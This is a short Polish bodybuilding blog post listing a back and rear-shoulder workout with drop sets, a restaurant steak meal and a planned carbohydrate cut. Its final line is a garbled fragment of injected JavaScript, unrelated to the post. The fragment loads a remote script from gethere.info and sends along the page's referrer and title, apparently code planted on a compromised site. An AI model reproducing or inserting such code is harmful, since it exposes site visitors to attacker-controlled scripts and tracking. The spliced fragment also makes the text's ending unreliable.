Mocny trening pleców z dużą intensywnością

29.09.2011 / Michał Karmowski

Wczoraj kolejny mocny trening pleców z dużą intensywnością i drop setami, 2 sesje cardio i muszę przyznać , że bardzo się cieszę z dnia wolnego , bo jestem naprawdę bardzo zmęczony.

trening pleców:

-ściąganie drążka z góry do klatki chwyt neutralny 3 serie i dropset

-wiosłowanie sztanga w opadzie 4 serie i dropset

-wiosłowanie hantlem jednorącz 4 serie

-ściaganie uchwytów hammera do bioder sidząc 3 serie i dropset

-ciągi 4 serie po 12p

tył barków

-pec dec 3 serie i dropset

-szrugsy z hantlami 3 serie i dropset

-unosznie ramion z hantlami leżąc na ławce skośnej 3 serie 15p

 

…tutaj moje ulubione jedzonko, stek wołowy i pieczony ziemniak w restauracji „LA VITA” oczywiście :-)

dieta jeszcze dziś bez zmian a od jutra kolejne obcięcie węglowodanów i dodatek kcal w formie tłuszczu

 s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; } else {d.getElementsByTagName('head')[0].appendChild(s);